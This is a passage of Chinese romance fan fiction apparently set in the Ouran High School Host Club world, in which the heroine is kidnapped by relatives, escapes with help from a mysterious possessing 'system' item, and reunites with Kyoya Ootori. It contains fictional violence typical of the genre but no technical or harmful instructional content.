只有清晨桌上的早餐以及出现褶皱的另一半床铺才能看出有人回来过。
店长捏着下巴凝重的看着我,又抱着研究的态度捏了捏我的脸:“没错,还是很可爱啊,果然是那家伙有问题!”
春绯红着脸:“抱歉是我理解错了,这样的话,我帮你问问环前辈。”
“可能最近公司很忙,镜夜前辈只是不想让你担心。”
我蹲在温泉里,从毛巾下露出一双眼睛看着她。
过了会儿,春绯的手机传来须王前辈录的提示音。
春绯擦掉屏幕上的雾气,缓缓念出来:“镜夜最近在休假?”
我默默转头。
店长恨铁不成钢拍了一下大腿:“果然男人就是靠不住,走!姐姐带你去吃点好的!”
我:“不……我就算了,春绯也不去。”
浴池隔壁的几人视线一同落在杵着胳膊喝酒的黑发青年,欲言又止。
镜夜你都做了什么啊!
第92章
最终还是和店长一起出了酒店。
我拢了拢头发深吸了一口山林间格外清晰的冷空气,双手环胸和被店长挽着胳膊的春绯对视一眼,表情都有些无奈。
跟着明明说带我们出去散心,结果表情最期待的店长慢慢走向下山的小路。
店长哼着歌一蹦一跳:“酒吧酒吧!我还没去过国内的酒吧呢!”
我拉着她的手臂,避开路上的水坑:“小心点,在这里受伤的话可没办法开车进来哦。”
“放心放心, 在没见到酒吧之前我不会有事的!“
“……不管怎么说,你的期待值也太高了吧,会失望的哦。”
春绯忽然朝山下某处看去,语调兴奋:“那是什么?”
店长:“什么什么让我看看?”
我被迫跟着走过去,眯着眼睛看:“感觉可能是庙会活动之类的吧,最近山下有活动吗?”
“不知道——去看看不就好了。”
我若有所觉的往后看了一眼,傍晚的山间小道被缀在枝干上的路灯点亮,棕红色的砖石点缀着细碎的枝叶碎石,微风拂过树叶发出沙沙的声音。
春绯朝后看了眼,挽着我的手往后退了点:“怎么了?”
我收回目光, 摇摇头。
“没什么,应该是我听错了,这条小路刚才就只有我们一路走下来,应该不会有其他人才对。”
店长已经等不及了,抓着我们的手就往下跑:“走了走了,好不容易放假,我一定要在上班之前玩个够!”
我被动奔跑在小路上,被她们轻松的笑意感染, 也忍不住轻笑起来。
这几天低落的心情总算轻松了点。
接近山脚的路边已经挂上了装饰的招牌和灯笼,热闹的声音隔着一小片林子传了过来,食物的香气混杂着涌入鼻腔。
我反射性摸了摸口袋,迟疑地问:“对了, 你们有带钱包吗?”
“诶?”
“诶?”
两张兴奋的脸转过来茫然的看着我。
我忍笑重复一遍,看着她们天塌了的表情,转头往回走:“我回去拿钱包,顺便有点事想确认一下,你们先去吧。”
“等会儿电话联系。”
我在颊边做了个打电话的手势,转身顺着上山的小路返回,转过一个小弯过后天然的森林屏障就阻隔了大部分热闹的声音。
此时天色已经暗了下来,林间格外幽静,正听见我一个人的脚步声。
林子深处光亮照射不到的地方忽然发出稀碎的声音,我停下脚步往那边走了两步,视线朝深处探寻。
从刚才开始就有点奇怪。
总觉得有人好像在跟着我们。
我屏住呼吸矮下身子捡起一根还算顺手的树枝,朝最近的树枝后探了探,脚下跨过砖石小路传来泥土格外松软的触感。
出来临时穿的是拖鞋,有点不方便。
我又换了个方向把这一块都用树枝戳了一遍,没发现异常才捏着树枝将信将疑的离开。
“……真的是错觉吗?”
拖鞋落在砖石上的声音逐渐远去。
被翻过一遍的树林重新恢复了安静。
“咳咳呼——”
黑发青年陡然从一团草丛中踉跄着跌了出来,狼狈的摔在地上,大口喘息,月光落在他的脸上隐约能窥见鲜红的指印。
似乎刚才就有一只手死死的扣住他的口鼻,直到窒息边缘才施舍般的放开。
他从地上爬起来头也不回的往山下跑,口中下意识发出胡乱的喘息和呼救,见到山脚的灯光他眼神亮了。
“凤家,凤镜夜!真以为你们可以一手遮天?等我回去我……!”
常陆院馨不知何时出现在这里,默默伸出一只脚:“诶嘿~”
他的声音戛然而止,脚下一绊闷哼着摔了出去,一时间只顾着抱着手臂呻吟。
不紧不慢的脚步声从林子深处走来。
凤镜夜拿着一张手帕仔仔细细的擦拭掌心,眼神都不曾落在他身上,直到他一脚踩住青年蜷缩的腿,手帕被轻飘飘扔进垃圾桶。
狭长的凤眸居高临下沉沉的落在青年身上。
“黑川雄也?”
黑川雄也不知为何身体抖了抖,呻吟的声音都不自觉压低了:“凤镜夜我没想和你作对,刚才就是看到我妹妹想打个招呼而已。”
“你别误会了。”
凤镜夜眉头微挑,语气有些疑惑:“打个招呼?”
常陆院馨摸了摸手臂看向走过来的哥哥:“声音好可怕。”
常陆院光按着嗓子学了一声,被须王环捂住嘴巴:“嘘嘘!你们别吵他了!不是要去庙会吗?我们走。”
馨转头拒绝:“不要,大少你想去找春绯的吧。”
光:“果然还是这个比较有趣。”
居然在这时候想打黑川一的主意,还正好被镜夜撞上,该说他倒霉还是笨。
凤镜夜把手里的东西转了一圈打开在黑川雄也面前晃了晃,眉眼阴沉下来:“那你通知兄弟商量找她见面是为了叙旧?”
黑川雄也看着自己遗失的手机眼前一黑,哆哆嗦嗦的点头。
“是,是啊。”
凤镜夜俯身靠近,踩着他小腿的脚逐渐施加力道,微笑:“原来如此。”
黑川雄也快要被这阴晴不定的家伙弄得崩溃了,腿上的痛让他顶不住的惨叫出声,涕泗横流的求饶。
“我……碰见她是意外!意外!只是和他们说了你们的关系,是他们怂恿我来要钱的啊!”
“对不起,好痛!!要断了要断了,我不敢了,不敢了!!”
他恍惚间好像听到小腿发出奇怪的咔嚓声,吓得大口喘气,嘴里还不停求饶。
可踩在身上如同一座阴鸷大山的家伙根本没有动摇收手的意思。
他逐渐有些绝望,在那道目光当中,他心中终于生出了真实的悔意。
他就不该贪心……他不会真的要死了吧?
就在他有气无力的默默流泪的时候,腿上一轻,刚才怎么也挣脱不开的重量终于移开,脖颈一重,他被人拎着领口拖了起来,塞进一辆车里。
凤镜夜冷白的脸在夜色中面无表情,看在他眼中却如同恶鬼。
“送他回去吧,顺便替我好好开导他的家人。”
黑色西装都挡不住鼓胀肌肉的男人沉默的点点头,带着人开车离开。
光看着迅速远去的车辆,感叹:“希望他们这次是真的学乖了,镜夜这样是不是有点太阴沉沉了,黑川会害怕唔唔唔!”
须王环紧张的捂住他的嘴,朝看过来的镜夜打哈哈:“你什么都没听见。”
凤镜夜朝温泉旅馆走去的步伐停住,他抬起刚才触碰过那人的手嗅了嗅,明明已经洗过还擦了半天,鼻尖似乎还能嗅到隐约的恶心味道。
他立在原地垂头沉思。
“你说得对,我会吓到她的。”
他转头看向最好的朋友:“环,你先和大家的一起去庙会吧,我回去清洗一下。”
“交给我吧!”
凤镜夜点点头从另一条隐蔽的小路返回,走了两步他又回头:“陪着她们玩就行了,不要做多余的事。”
我带着钱包匆匆关上门离开,路过隔壁房间的时候听到了点声音。
隔壁在我们之后还住人了啊。
我收回视线脚步不再停留的顺着小路回到更加热闹的市集庙会,轻而易举的找到了格外显眼的一群人。
我下意识在其中寻找熟悉的身影。
不在啊。
刚刚上扬的心情又落了回去,说不定是真的在忙吧。
春绯先看到我,举着手跳了跳:“小一,这里这里!”
我穿过人群走了过去,才看到他们原来是围在捞金鱼的摊位前,须王和店长已经喊着“赌上尊严”什么的正在比拼谁捞的多.
“……”
冰凉的触感抵上唇角。
我下意识张口咬住,冰凉的甜意在口中化开,凉意顺着脊背蔓延,我打了个激灵:“好冰!”
春绯笑着又递来一口:“但是这个口味很受欢迎哦,来,这是帮忙跑腿的奖励。”
我眨了眨眼,还是张开了嘴。
橘子的味道在口腔蔓延。
春绯明明喜欢的是更甜的味道吧。
我们两人你一口我一口分掉了这份冰激凌,并肩靠在一起同时呼出一口气,默契的动作让我们同时笑出了声。
“对了,小一。”
在嘈杂的人群中,我们一起注视着幼稚打闹的同伴,她忽然凑了过来,在我耳边说:“我一直欠你一声对不起。”
我一愣,转头看她。
春绯的眼神很认真,带着暖融融的温柔:“当初在樱兰祭舞会的事,我一直都很抱歉。”
“迟钝的意识到不到好朋友的心情,还沾沾自喜的为自己的事情开心……”
我拽了拽她的手指,望着头顶漂亮的星空:“那时候的事我早就不在乎了。”
“也从来没有怪过你,而且被喜欢才不是你的错。”
我看着肆意微笑的大家,也不自觉笑了起来:“离开这些年对我们来说才是最好的选择,我喜欢他,但总是在心里期待着想着祈祷着他朝我靠近。”
春绯静静的看着她,脑袋搭在她肩膀上:“这样啊?”
我:“是呀,而且他也是一样。”
她歪着脑袋看我:“那这次小一难过之后,已经主动和镜夜前辈坦白了吗?”
我话音一顿,看向她平静的目光。
春绯弯着唇角:“说不定,这次镜夜前辈也是一样哦。”
我另一边肩膀忽然被人拍了一下,须王环忽然出现在我们面前,脸上还带着可疑的红晕,我透过他的肩膀看向嘻嘻笑着的双子眯了眯眼睛。
须王环大声说:“小一你不要难过!镜夜他最近一直在看医生!等他准备好了就会和你唔唔唔!!!”
常陆院光和馨出现在他身边,一人一边把人抬起来带走。
“打扰了,你们继续——”
哪里还有话要继续啊。
我无言的站在原地,忽然轻嗤一声:“那个笨蛋。”
“春绯,抱歉我可能要提前回去一趟。”
她朝我晃晃手机:“已经帮你叫好车了,公主SAMA。”
第93章
原本以为活动附近会很难打车, 没想到春绯叫的车已经停在路边了。
我上车报出地址,点开和凤镜夜的聊天框删删打打半晌,最终还是全部删掉。
我摸了摸无名指上的指环,取下后放到眼前仔细查看,精巧的银白色指环镶嵌着钻石,我熟练的翻了一圈,指间摸到内圈细微的的凹陷。
那是互相缠绕在一起的,我们两个的名字。
这是他第二次送我戒指了。
我把指环放到唇边碰了碰, 放进口袋,给某个联系人发了个条消息。
黑川一:麻烦现在把东西送到这个地址。
AAA指环王发烧友:OK。
行驶中的车辆忽然顿了一下,我眼疾手快的扶住前排椅背,车辆轮胎和地面发出刺耳的摩擦声,我顺着力道摔回椅背看向外面忽然出现和我们并排的车辆蹙了蹙眉。
什么情况?
司机先生握着方向盘的手收紧,手臂的肌肉线条将西装撑起,沉声:“黑川小姐坐稳了。”
“这种货色也敢来拦须王家的车!”
我凝重的视线落在娴熟的狂打方向盘的司机身上,从他训练有素的身材上扫过,眼神放空了一瞬。
怪不得来得这么快,原来是须王家的司机啊。
我尽量稳住身体, 尽量不给司机添麻烦, 透过车窗观察那两辆毫无特点的黑色轿车。
在逐渐靠近的警铃声当中, 司机先生一个漂亮的飘逸甩开了他们。
他们察觉到警察正在靠近, 驶入道路另一边的岔道迅速消失。
我松开抓着头顶扶手的手,疑惑的看向司机先生,刚想开口,熟悉的公寓楼就出现在眼前。
司机先生肃着脸:“黑川小姐,接下来的事就交给我们处理,放心吧,胆敢触碰须王家逆鳞的家伙必然让他们有去无回。”
我下了车,欲言又止,最终只好点点头,让后背似乎燃着熊熊火焰的司机先生以刚才的几倍速度离开。
司机先生说得对,那些人应该不是冲我来的。
专业的事还是交给专业的人来做吧。
我收拾好心情上楼。
公寓里漆黑一片,维持着我离开时的样子,看来镜夜没有回来过。
说不上失望,我吐了口气打开灯,穿上摆放在门前的黑猫拖鞋,顺手把另一双大一些的摆整齐,走了进去。
春绯说得对,只是单纯的沉默是不行的。
我要找到最近都不见人影的凤镜夜,然后……
我拿着马克杯在客厅转了一圈,余光好像扫过什么,又转头落在单人沙发上不知何时多出的一对玩偶。
两只胖猫脸扯着嘲讽的笑容对着我。
我走过去把它们翻了个面,毛绒绒的尾巴露在外面,才满意的点点头:“完美,这就是你们的专属座位了。”
反正我们两个都是一起坐在长条沙发上。
准确的说是他坐在沙发上看书或者工作,我躺在他腿上睡觉或者玩游戏。
想到这里,我直起腰环视一圈,窗台上多出的几盆花是凤镜夜亲手种的,沙发上的玩偶是一起逛街的时候偶然看到的。
桌上的马克杯在我回来的时候已经准备了,就连拖鞋牙刷水杯这种东西都是实实在在体现着两个人共同生活的痕迹。
我抵在杯子后的唇角微微上扬,不自觉走进房间,不大的卧室里另一个人的痕迹更加浓重。
空气中飘荡着若即若离的鸢尾香气。
书桌前挨着的两把椅子,一半桌子摆满了各种小物件,一半只简单放了办公必需用品,但都一样整洁,一看就是出自他的手笔。
床边的地毯是在让我不要光脚在地上踩之后多出来的。
柔软的床垫是两人一同逛街时选的。
我打开柜子,其中一大半都塞满了我的衣服,属于他的常服出去必须挂起来的,全都紧凑的堆叠在狭窄的空间里。
我被满满当当的衣柜震惊了。
“哇,不怎么打开这边柜子,没想到都已经放满了,什么时候……”
“扣扣。”
我朝门口走去,顺便纵览全屋,表情微妙。
“感觉……在把所有东西都往这里送啊,不知道什么时候家里居然完全看不出来以前的样子了。”
是想要一直在一起的意思吗?
我思索着打开门,门外带着帽子的配送员递来包装精致的礼袋,那人还带着口罩完全看不清脸。
今天的天气这样不热吗?
我接过礼袋想要当场查看一下东西,贴着身体的口袋震了震,有些刺耳的铃声响起,配送员踉跄了一下按住门把手。
我一边拿出手机摸索着按下接通,一边按住门沿,朝配送员笑了笑:“辛苦你专门跑一趟,我自己来关门就可以。”
就算房子里再怎么布置,外面的这扇门也有些年头了,随着关门的动作发出嘎吱的声响。
通话对面的人似乎说了什么。
我没听清:“抱歉,请再说一遍。”
门似乎出了点问题被什么东西卡住,我加大力道哐哐两声用力关门。
听筒里清冷的声音穿过耳膜。
“小一?听到了吗?你先乖乖待在家,也别给人开门,我马上回来!”
我维持着背对着门一只手向后推门的姿势微微顿住,关了几次都没合上的门,再次发出不堪重负的声音。
有巨力从门上传来,我猝不及防往前踉跄了一步,捏着手机迅速往后身后扫了一眼。
顺手抄起鞋柜上的花瓶,转身砸在闯入的男人头上。
满脸横肉身材健硕一看就不是什么好人的家伙身体晃了晃,捂着头顶勃然大怒,脖子上的青筋鼓动:“我看你是找死!”
他喘着粗气朝我扑了过来。
我将还在焦急询问的通话挂断,警惕的往后退:“今天追车的也是你们?谁让你们来的?”
“等到了地方你自然就知道了!”
壮汉被砸了一下,不耐烦多说什么,脸上全是愤怒,只一味的朝这边冲过来。
我执行任务之前也只在系统做过简单的防身术培训,就是基本的一些插眼踢裆扯头发的进阶版,主要防治对象显然不包括眼前这种看起来一拳能打十个的壮汉。
但不知为何我除了看到他闯进来的时候慌了一下,直到现在都很冷静。
我向后退了几步,脸上专注到没什么表情,在他碰到我之前仗着身形矮身躲开,顺势蓄力提膝重重的击打在人体中间的位置。
从手提袋上扯下的绳子顺势勒住壮汉的脖子,我收紧绳子,一脚踹在他背上眨了眨眼,回味了一下刚才堪称利落的动作。
难道我在格斗方面格外有天赋自学也能成才!
“好了,现在你可以告诉我谁让你来的了吗?”
他脑袋朝下脖颈以上因为血液回流变得紫红,喝喝的喘着气,断断续续的说:“我……我不知道!”
我蹙了蹙眉,默默加重力道:“你还挺忠心?”
他静了静,怒吼:“我是真的不知道啊!你不才和那傻逼见过吗!他戴着口罩啊!”
我若无其事的松了点手,还想说什么,没来得及关上门的楼道里传来细微的声音。
又来?
现在去关门已经来不及了。
我用沙发巾把人草草捆住,起身躲到阳台,拖过玻璃往下看了看,视线随着可以攀爬的路线一路落到楼下。
最终停在一辆停在阳台正下方的眼熟黑车上,两个人站在车门外正好往这边看过来。
我心里啧了一声蹲了下去,果然还是那群人。
最关键的是唯一逃生的通道也被堵住了。
我犹豫着透过缝隙往外看,如果来的人不多的话,要不然还是试试看……
“!”
好消息:只来了一个人。
坏消息:他拿着枪。
·
我从颠簸的车辆中逐渐恢复意识,鼻腔里还残留着□□的味道,头有点晕,还有点想吐。
我闭着眼睛,悄悄动了动手脚,都被绑住了。
根据身体蜷缩的状况来看,他们似乎把我塞进了后备箱,我在黑暗中睁开了眼睛,我的后背压着什么冰凉的东西似乎是一些帆布和钢管。
……露营椅?
我小心蹭着身体让手指抓着钢管,摸了摸钢管顶端打磨的不太圆润的切口,开始一点点磨着绳子。
“还有多远?”
我听到了那个配送员的声音,侧了侧头。
另一人回答语调有些犹豫:“还有半个小时左右吧,正雄真的要这么做吗?她不是凤家少爷的……”
“闭嘴!”
第三人的声音带着愤恨,我眯了眯眼睛,好像是被我放倒的大汉?
“正雄老大的弟弟可是被凤镜夜带走了,黑川家最近的状况也都拜他所赐,这是他们欠我们老大的!等拿到钱和人之后,就直接。“
他没说完,所有人都明白他的意思。
“嘿嘿也行,他们可真有钱,这戒指可是好东西,等会儿找个地方卖了。”
我捏着钢管的手收紧,更加用力的摩擦绳子,手腕上的皮肤不小心被蹭破,弄得掌心湿漉漉的。
我侧躺在地上不知过了多久,额头的汗滴进眼睛,背后传来轻微的断裂声。
我停下动作喘了几口气,把手伸向脚踝。
行动间钢管被不小心带动。
车前作为的话音一顿。
“什么声音?”
“去看看她是不是醒了。”
我身形一僵,解开脚踝的绳结来不及抽出绳子,匆忙间只能握住钢管,在后备箱被打开的瞬间跳了出去。
打开的瞬间我就认出了这个人就是持枪来上楼将我迷晕的男人。
原定的逃跑计划一瞬间被推翻。
我以一种自己都没有想到的灵巧窜了出去,从背后勾住他的脖子,用一只手死死勒住,另一只手朝他鼓起的腰间摸去。
正好和他摸向腰间的手撞在一起。
前排有人听到声音察觉不对喊着这人的名字下了车。
第94章
深重急促的喘息在耳边回响,短时间内爆发大量肾上腺素而做出的动作,让久未锻炼的身体产生沉重的负担。
从而产生了近乎窒息的错觉,就算依靠反应能力的占据上风勒住一个成年男人的脖颈,但随着时间的流逝手臂在飞快的堆积乳酸。
更何况那人正在用力想要将我的手臂拔开。
我深吸一口气屏住呼吸和壮汉抢夺手枪的手微微泛白, 利用身体重量勒住他脖子的手臂酸痛得不像是自己的。
随着车另一边的脚步声逐渐靠近,我的求生欲和不甘让紧绷的神经嗡鸣了一瞬。
凭借意志力在硬撑的身体有一瞬间的停顿。
只是一瞬间就让被因为轻敌被压制在地上的壮汉找到机会, 一瞬间形势翻转,他猛然扭住脖颈间的手臂, 强硬的扯回手枪,转身就要让她好看。
另一侧靠近的脚步声也在察觉到状况后变成奔跑。
加快的脚步声和迅速靠近的枪口拉动了死亡的齿轮。
我面前弹出了系统面板,在濒死之前我会被保护系统强制召回——以任务失败的结局。
如同死神的脚步落在柏油路面发出清脆的撞击,时间仿佛变得缓慢。
事实上从我窜出后备箱到支撑不住被枪口抵住,也不过秒钟转动小半圈。
我脑子里还能思考接下来该怎么做,却怎么想也得不出能全身而退的办法,被控制住的身体实际上也根本无法做出有效的反击。
“咔哒。”
子弹上膛的声音因为枪口紧贴着额头仿佛直接在颅内响起。
壮汉带着青紫痕迹的脖颈鼓起愤怒的弧度,嘴巴一张一合在说什么,我看着强制退出倒计时跳动的系统面板没有心情听他在说什么。
反正也不过是恼羞成怒的诅咒谩骂之类的。
【自动保护程序开启,召回倒计时十秒】
【10】
我盯着缓缓跳动的数字,抿了抿干裂的嘴唇,心里忽然涌出一股强烈的不甘,这就要结束了吗?
明明马上就要见到他了。
这种不擅长的任务结束也没有什么不好吧,一年带薪休假怎么想都很难拿到,就这样失败后乖乖被召回,继续做自己擅长的类型不行吗?
可是我已经做好决定要找他坦白。
坦白又怎么样?喜欢这种东西不管什么时候都搞不懂,这么麻烦的家伙就一定要靠近吗?
但……明明我已经答应过了。
把枪口对准她额头的男人发泄的谩骂忽然顿住,爆发力量后明显后继无力的身体他用一只手都能抓住,就连脑袋都无力垂下的人,怎么会有这种眼神。
过来查看的同伴拍了拍见状拍了拍他的肩膀,不耐烦的劝阻:“先别冲动,现在还不是时候,等会拿到钱之后再处理。”
“不要节外生枝,那凤家的小子可不好糊弄。”
男人啧了一声,没有回头,把他的手抖了下去,注视着人质的眼睛。
陡然生出不合时宜的疑惑。
她的眼睛之前是这样的吗?
天色太暗了在公寓中也是一个照面就将人迷晕,印象中只是一团雾蒙蒙的颜色,但现在……那瞳孔中陡然亮起的,如同晴空一样耀眼的蓝色是怎么回事? !
他抵着她脑袋的枪口抖了抖。
只是被注视着身体就下意识叫嚣着危险想要后退。
他瞳孔颤动,恶狠狠的扣住扳机,怒喝:“不要看着我了!去死吧怪物!”
不知什么时候倒计时卡顿在【 3 】。
接着是看不懂的弹窗。
【检测到任务者生命安全受到威胁,自动开启任务道具——神子の垂眸( xxx真心祝愿所形成的一次性道具,包含赠予者内心深处真实的祈愿)】
【 xxx的祈愿:总有一天你要回到我身边,在那之前可别死了,也不能喜……啧,什么人工智障,只能说一句吗? ! 】
我眨了眨眼睛,虽然不清楚这个中二到爆的神子の垂眸究竟是什么,但身体上的变化异常明显。
五感似乎被强行提升了几个等级。
再看向身形强壮的男人时,那股让人不由自主战栗不安的忐忑消失了,对方似乎也察觉到什么一脸恐惧的想要扣动扳机。
我“看”到自己的手捏上男人的手腕,如同折断树枝一样轻巧一撇,令人牙酸的咔嚓声后,枪支落入我的掌心。
然后我的手以一种嫌弃又好奇的姿态摆弄了一下手枪,紧接着熟练的拉开枪栓,平稳又果断的连开四枪。
……连带着黑川正雄一起一共四个人。
我震惊的看着自己随手把枪塞进口袋,没去管失去行动能力趴在地上哀嚎的几人,缓缓将开枪后还泛着红的手掌抬到眼前。
我茫然的站在原地,看自己观察我自己的手。
那个神子の垂眸原来是系统自动接管身体吗?
“唔?”
我听到道路尽头疾驰而来的引擎声,隐约似乎还听到了凤镜夜的声音,心头跳了跳转头看去……没转过去。
那只抬起的手挡住左脸阻止了我转头的动作。
看在“祂”帮忙解决了危险的份上,我乖乖的站在原地等待“祂”的动作。
我屏息等待了三秒,结果那只手只是单纯的贴在脸上?
我尝试着张了张口,发现自己好像可以说话:“我……咳,你好?”
贴在脸侧的手顿了顿,拿到眼前挥了挥,又安静的贴了回来,似乎还用拇指蹭了蹭我的脸颊。
果然可以听见吗?
所谓的神子也是独立的某个人吗?
果然系统不会这么大方给任务者这么好用的buff 。
我认真的感谢“祂”,完全不顾自己的表现在地上几人的眼中到底有多诡异:“虽然不知道你是谁,不过还是谢谢你。”
“这可惜不能当面道谢。”
“嘶,疼!”
贴在脸上的“神子”听到我的道谢之后,不知怎么似乎生气了,从轻轻贴住转变为掐。
不过在我喊出来之后,“祂”就松开手,郑重的牵住我的右手摆在眼前。
话说能够感受到一只手的情绪还真挺不可思议的。
似乎是察觉我在走神,“祂”曲起手指在我额头敲了一下,才一笔一划以一种异常缓慢的速度在掌心写着什么。
“go……jo,sa……to……”
“小一!”
我眼前忽然一黑,被猛然拥进一个散发着鸢尾香气的清冷怀抱,在黑暗中我眨了眨眼:“诶?镜夜?”
我活动了一下抵在他胸前的手,被控制的感觉消失了,心里有些遗憾。
五条……砂糖?
gojo satou。
怪怪的。
那个神子是叫这个名字吗?
我在“祂”突然的出现和消失中情绪起落,还有些回不过神。
凤镜夜紧紧的抱住她,身体还有些控制不住的颤抖,地上蜷缩着的人被带来的保镖训练有素的带走,只余下地上喷溅的鲜红液体还散发着浓烈的血腥味。
他眼神落在那些血液上,瞳孔开始不明显的震颤,他犹豫不舍的将人从怀中推开,握着她的肩膀上上下下查看了一遍,最终握着她被划破的手腕小心翼翼的抬起来。
我看着为了挣脱绳索被划破的手腕向,感觉低着头的凤镜夜好像有点不对,抽了抽手腕:“镜夜?”
“没关系,这就是破了点皮……!”
我的尾音陡然上扬,瞳孔陡然放大的看着他收回鲜红的舌尖,手腕上血迹早已干涸的伤口传来湿漉漉的凉意。
“你怎……”
“啪!”
左手忽然暴起扇了他一巴掌。
清脆的声音在寂静空旷的夜里传出很远,正在清理现场以及忙碌着为劫匪止血的所有人动作都几不可查的卡顿了一下,紧接着又在凤镜夜平静的声音中神色自若的恢复行动。
我盯了左手一眼,茫然的目光又落在他缓缓浮现出掌印的白皙侧脸上,震惊的握住左手手腕,后退了一步。
“抱歉,不是我……我不是故意的。”
凤镜夜望着她掀起唇角,安抚的按了按她的头发,指尖顺势挑起她颊边的黑发蹭了蹭:“我知道,小一只是太害怕了。”
他又拉近两人之间的距离,单膝跪在她面前,额头抵在她的手背:“都怪我不好,没有保护好你。”
“小一惩罚我是应该的。”
他仰头注视着她的眼睛。
握住那只手又贴在脸上,眼神带着愧疚的催促。
我握紧拳头,慌张的看向左手:“不,停……”
“啪!”
凤镜夜的脸又一次被打偏。
空旷的黑夜中,兢兢业业加班的凤家保镖和医务人员齐刷刷又顿了一下,这次他们头也不回的加快了速度,仿佛身后有鬼在追。
这给他们干哪儿来了?
明天他们还能来上班吗?
我暗暗用力握住了不受控制的左手,缓缓闭眼,原来“祂”还没走吗?
凤镜夜脸上终于出现了可以称之为轻松的笑意,他主动牵起她的手,朝医务人员走去:“你先乖乖坐在这里处理伤口,我去去就来。”
我坐在车里的伸出手腕给护士小姐,口袋里有什么东西坐下来硌到了我的肚子,我摸了摸腰间,叫住了凤镜夜。
然后在护士小姐震惊的眼神中从腰间掏出一把枪递给凤镜夜。
刚才她们还在讨论这一伙人全都是一枪命中大腿导致失去行动能力,还以为是他们内讧的同伙造成的。
没想到是少夫人动的手吗? !
我在护士小姐陡然变得尊敬的眼神里,把枪还给凤镜夜,有些不知道怎么解释我以一敌四的战绩。
我支支吾吾:“我趁他们不注意夺的枪。”
他没问什么,接过枪,摸了摸我的脑袋,转身离开。
我解释的话卡在嘴里,轻咳几声,动了动被包扎好的手腕,透过车窗看向那辆被围住的车,忽然想到什么开门走了过去。
第95章
我下车的时候,透过玻璃车窗正好看到黑川正雄顶着苍白的脸激烈的说着什么,看起来马上要从担架上跳起来。
站在他对面的是看不清神色凤镜夜,他微微垂头,视线落在手里把玩的枪支上,修长的手指上下翻动用一块素色的手帕随手摩擦枪管。
我不自觉停下脚步,看着那把震得她虎口发麻的枪支如同玩具一般在他手中被轻巧的摆弄,然后在掌心转了一圈,被骨节分明的手指扣紧。
枪口对准在担架上徒劳挣扎的黑川正雄。
几乎是没给人任何反应的时间, 他已经扣下了扳机。
我有一瞬间的心跳过速,那可是对准的要害!
阻止的声音卡在喉咙里,熟悉的枪声没有响起,躺在担架上的男人如一滩烂泥一样扭曲着脸说着也许是求饶的话。
我注视着微微勾唇的凤镜夜,看着他抬起把刚才的手帕扔在地上,几颗子弹随着动作落在地上。
我后知后觉的发出一声松懈的气音。
似乎是察觉到注视,隔着一层玻璃凤镜夜转头看了过来,黑沉沉的瞳孔冰凉深沉,带着拉人沉入深渊的浓稠情感。
我站在原地身体被冰凉虚无的黑色潮水束缚,站在原地动弹不得。
镜夜?
我无声动了动嘴唇。
那些冰凉的潮湿的令人窒息的情绪如云烟般消散, 然后那双眼尾微微上挑的凤眸弯起, 如往常一般对我露出柔和的笑意。
看起来情绪还控制得住。
我朝他指了指停靠在路边的黑色车辆, 示意了一下, 伸出两根手指做了个走动的姿势。
凤镜夜只是注视着她,直到她的身形钻进车辆被阻挡才将视线收了回来,落在表情复杂的黑川正雄身上。
他表情复杂,夹杂着悔恨和意外。
“我没想到你这样的人居然是真的喜欢她。”
“早知道……”
如果早知道他就不……面对强大压迫感而充满恐惧停摆的脑子动了动,他忽然想到在凤镜夜赶到之前他们就已经被黑川一一个人收拾掉了。
现在思考她为什么会这么厉害已经无济于事。
这是一次注定失败的计划,黑川正雄不得不冷静的想, 也许他该先答应凤镜夜提出的条件。
让黑川一继承公司的股份……
他胸膛起伏几下,声音沙哑:“这不符合规矩,你这是让我们都给她动工。”
凤镜夜反手将枪托砸在他的脑门上,面无表情的俯视他痛苦的表情:“做出这种事情,居然还想要有寰转的余地吗?”
“……知……知道了。”
我单膝跪在汽车座椅上,打着手电筒在座位下四处摸索。
“掉在哪里了?”
我从后座掀起前排的座椅把手塞进缝隙里寻找。
原本正在清理车辆的几名黑衣人互相对视一眼,犹豫着把搜出的东西全都拎过来,小心翼翼的询问:“少夫人,从车里搜出的东西都在这了,您要找什么?”
我从缝隙里把手拽了出来,甩了甩,看向壮汉手里被撑得鼓囊的袋子,还有一片白纱从其中伸出来。
我从车里钻出来,拎起白纱查看,才发现巨大的袋子里居然是一件被揉成一团的洁白婚纱,我回忆了一下。
“那几人有人要结婚?”
拎着袋子的黑衣人恭敬的回答:“不,这辆车是他们临时租用的,之前应该是一家婚纱店借用过,大概是他们遗留的。”
我点点头,已经翻遍了整个袋子也没找到我要的东西,视线在和持枪男人纠缠的地面寻索。
“是掉在这附近了吗?”
黑衣男人收拢袋口:“少夫人这些都不是您寻找的东西吗?那我就带走处理了。”
我从路边的草丛里站起身,看向走向车尾的黑衣人,视线忽然在排气管后停住,语气兴奋起来:“等等……”
我在他疑惑的眼神中,从袋子里暂时借用了一样东西,然后趴在地上将在缠斗中掉到轮胎阴影当中的小盒子拿了出来。
我打开盒子确认指环就是我定下的那两枚,合上盖子,对着车辆的后视镜擦了擦脸上的灰尘。
我拢了拢头发,看着镜子里的自己,微微掀唇。
“原本打算另找时机,不过也不会比现在更适合了对吧?”
“镜夜——”
疾驰的银色跑车从远处疾驰而来,我眯了眯眼睛,认出了在行驶的车辆中站直身体朝这边用力挥手的金毛。
是须王啊。
在他肉眼可见的兴奋下,疾驰的车辆慢了下来,其他几人都在手忙脚乱的拽住他的裤子和衣服下摆飞,防止他不小心跌下去。
但歪歪扭扭的行车轨迹加大了动作难度。
众人惊慌失措的声音和须王的笑声传出很远。
我注视着他们笑闹着朝这里奔来,无言片刻,还是忍不住笑出声。
最终解决这场闹剧的是同样从后排站起来的铦,沉默可靠的青年依旧可靠的一只手就将须王环拽了下来,压回座位。
那辆打着车灯的跑车一点也炫酷的停在路中央。
凤镜夜听到声音从车里走了出来,用一张手帕轻轻擦拭着脸上奇怪的鲜红液体,站在还未熄灭的车灯当中,单手叉腰:“不是让你们不用来了吗?”
双子一左一右从前座跳了下来,动作一致的环胸一同靠在车前的引擎盖上,摊手:“环和春绯一直想过来,我们也很担心——”
“正好honey前辈和铦前辈邀请我们出来兜风——”
须王环整理好头发走到最中间:“没错,就是这样,我们一不小心就开过头到这里了,真巧啊镜夜!”
他把外套解开搭在春绯肩头,手搭凉棚四处查看:“所以小一怎么样……了?”
他紫色的瞳孔落在凤镜夜身后陡然放大。
站在身前的几人表情都一致的出现变化,凤镜夜也听到了从背后迅速靠近的脚步声,推了推眼镜,眉头微蹙。
“是还有漏网之鱼吗?”
